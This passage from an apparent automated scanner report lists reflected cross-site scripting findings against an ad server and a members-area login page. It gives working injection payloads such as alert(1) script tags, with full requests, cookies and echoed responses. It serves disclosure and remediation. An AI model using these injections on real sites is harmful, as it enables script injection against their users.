P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=188
Expires: Thu, 24 Mar 2011 02:18:36 GMT
Date: Thu, 24 Mar 2011 02:15:28 GMT
Connection: close
Content-Length: 1320

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat='6bb0b';alert(1)//90498f174b5';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=6bb0b';alert(1)//90498f174b5;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd
...[SNIP]...

2.7. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae9f8"%3balert(1)//a4fc2c967d8 was submitted in the q parameter. This input was echoed as ae9f8";alert(1)//a4fc2c967d8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=ae9f8"%3balert(1)//a4fc2c967d8&$=&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=37
Expires: Thu, 24 Mar 2011 02:15:32 GMT
Date: Thu, 24 Mar 2011 02:14:55 GMT
Connection: close
Content-Length: 2063

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat='ae9f8";alert(1)//a4fc2c967d8';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=ae9f8";alert(1)//a4fc2c967d8;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd=undefined;


                                           var zzpixie = new Image();
var zzRandom = Math.rand
...[SNIP]...

2.8. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45735'%3balert(1)//5cb9f253a9c was submitted in the q parameter. This input was echoed as 45735';alert(1)//5cb9f253a9c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=45735'%3balert(1)//5cb9f253a9c&$=&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=36
Expires: Thu, 24 Mar 2011 02:15:32 GMT
Date: Thu, 24 Mar 2011 02:14:56 GMT
Connection: close
Content-Length: 2063

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat='45735';alert(1)//5cb9f253a9c';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=45735';alert(1)//5cb9f253a9c;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd
...[SNIP]...

2.9. http://d7.zedo.com/bar/v16-403/d3/jsc/fm.js [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb7b6"%3balert(1)//23baa4e1d93 was submitted in the q parameter. This input was echoed as bb7b6";alert(1)//23baa4e1d93 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fm.js?c=3281&a=0&f=&n=790&r=13&d=15&q=bb7b6"%3balert(1)//23baa4e1d93&$=&s=2764&z=0.10685500502586365 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/tv
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1; FFcat=790,3281,15; FFad=0; ZEDOIDX=29

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=1;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "4229442-82ee-49ea7626ed3c0"
Vary: Accept-Encoding
X-Varnish: 1854305169
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=189
Expires: Thu, 24 Mar 2011 02:18:36 GMT
Date: Thu, 24 Mar 2011 02:15:27 GMT
Connection: close
Content-Length: 1320

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat='bb7b6";alert(1)//23baa4e1d93';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=bb7b6";alert(1)//23baa4e1d93;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd=undefined;


                                           var zzpixie = new Image();
var zzRandom = Math.rand
...[SNIP]...

2.10. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [$ parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fmr.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9cda0'%3balert(1)//24f22247cb1 was submitted in the $ parameter. This input was echoed as 9cda0';alert(1)//24f22247cb1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fmr.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=9cda0'%3balert(1)//24f22247cb1&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:9cda0';alert(1)//24f22247cb1;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1;expires=Sat, 23 Apr 2011 02:14:56 GMT;path=/;domain=.zedo.com;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=36
Expires: Thu, 24 Mar 2011 02:15:32 GMT
Date: Thu, 24 Mar 2011 02:14:56 GMT
Connection: close
Content-Length: 6064

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',9cda0';alert(1)//24f22247cb1';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,9cda0';alert(1)//24f22247cb1;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasA
...[SNIP]...

2.11. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [$ parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fmr.js

Issue detail

The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 286b2"%3balert(1)//570f2fde8 was submitted in the $ parameter. This input was echoed as 286b2";alert(1)//570f2fde8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fmr.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=286b2"%3balert(1)//570f2fde8&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=790:286b2";alert(1)//570f2fde8;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1;expires=Sat, 23 Apr 2011 02:14:56 GMT;path=/;domain=.zedo.com;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=36
Expires: Thu, 24 Mar 2011 02:15:32 GMT
Date: Thu, 24 Mar 2011 02:14:56 GMT
Connection: close
Content-Length: 6060

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat=',286b2";alert(1)//570f2fde8';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=,286b2";alert(1)//570f2fde8;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd=undefined;


           zzhasAd=1;
       

var zzDate = new Date();
var zzWindow;
v
...[SNIP]...

2.12. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fmr.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d9d3'%3balert(1)//b27f4cd9b57 was submitted in the q parameter. This input was echoed as 5d9d3';alert(1)//b27f4cd9b57 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fmr.js?c=3281&a=0&f=&n=790&r=13&d=15&q=5d9d3'%3balert(1)//b27f4cd9b57&$=&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1;expires=Sat, 23 Apr 2011 02:14:49 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=43
Expires: Thu, 24 Mar 2011 02:15:32 GMT
Date: Thu, 24 Mar 2011 02:14:49 GMT
Connection: close
Content-Length: 6061

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat='5d9d3';alert(1)//b27f4cd9b57';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=5d9d3';alert(1)//b27f4cd9b57;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd
...[SNIP]...

2.13. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fmr.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6435"%3balert(1)//cdf7a2ebc55 was submitted in the q parameter. This input was echoed as f6435";alert(1)//cdf7a2ebc55 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fmr.js?c=3281&a=0&f=&n=790&r=13&d=15&q=f6435"%3balert(1)//cdf7a2ebc55&$=&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~022111; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1;expires=Sat, 23 Apr 2011 02:14:49 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=43
Expires: Thu, 24 Mar 2011 02:15:32 GMT
Date: Thu, 24 Mar 2011 02:14:49 GMT
Connection: close
Content-Length: 6061

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat='f6435";alert(1)//cdf7a2ebc55';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=f6435";alert(1)//cdf7a2ebc55;z="+Math.random();}

if(zzuid=='unknown')zzuid='jhmxpQoBADYAAET@BzgAAAAW~022111';

var zzhasAd=undefined;


           zzhasAd=1;
       

var zzDate = new Date();
var zzWindow;
v
...[SNIP]...

2.14. http://membersarealogin.com/index.asp [area parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://membersarealogin.com
Path:   /index.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e05df"><script>alert(1)</script>f3a00e9327d was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.asp?area=e05df"><script>alert(1)</script>f3a00e9327d&err=Invalid_Login HTTP/1.1
Host: membersarealogin.com
Proxy-Connection: keep-alive
Referer: http://membersarealogin.com/
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAQBSCBDB=JGKOIIEBNGEGILCCOOKAAFHM; __utma=42541241.97346164.1300932616.1300932616.1300932616.1; __utmc=42541241; __utmz=42541241.1300932616.1.1.utmccn=(referral)|utmcsr=piratebay.com|utmcct=/login.php|utmcmd=referral; __utmb=42541241

Response

HTTP/1.1 200 OK
Date: Thu, 24 Mar 2011 02:06:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 4608
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>Members' Area Login</title>
<style type="text/css">
<!--
body {
   margin-left: 0px;
   margin-top: 0px;
   margin-right: 0px;
   margin-bottom: 0px;
   background-color:#FFFFFF
...[SNIP]...
<form action="/index.asp?step=2&siteid=&revid=&area=e05df"><script>alert(1)</script>f3a00e9327d" method="post">
...[SNIP]...

2.15. http://membersarealogin.com/index.asp [area parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://membersarealogin.com
Path:   /index.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5bb5f"><script>alert(1)</script>50117ceea0516080 was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /index.asp?step=2&siteid=&revid=&area=5bb5f"><script>alert(1)</script>50117ceea0516080&revid=&username=&password=&B1=Submit HTTP/1.1
Host: membersarealogin.com
Proxy-Connection: keep-alive
Referer: http://membersarealogin.com/
Cache-Control: max-age=0
Origin: http://membersarealogin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAQBSCBDB=JGKOIIEBNGEGILCCOOKAAFHM; __utma=42541241.97346164.1300932616.1300932616.1300932616.1; __utmc=42541241; __utmz=42541241.1300932616.1.1.utmccn=(referral)|utmcsr=piratebay.com|utmcct=/login.php|utmcmd=referral; __utmb=42541241

Response (redirected)

HTTP/1.1 200 OK
Date: Thu, 24 Mar 2011 02:08:20 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 4613
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>Members' Area Login</title>
<style type="text/css">
<!--
body {
   margin-left: 0px;
   margin-top: 0px;
   margin-right: 0px;
   margin-bottom: 0px;
   background-color:#FFFFFF
...[SNIP]...
<form action="/index.asp?step=2&siteid=&revid=&area=5bb5f"><script>alert(1)</script>50117ceea0516080" method="post">
...[SNIP]...

2.16. http://membersarealogin.com/index.asp [err parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://membersarealogin.com
Path:   /index.asp

Issue detail

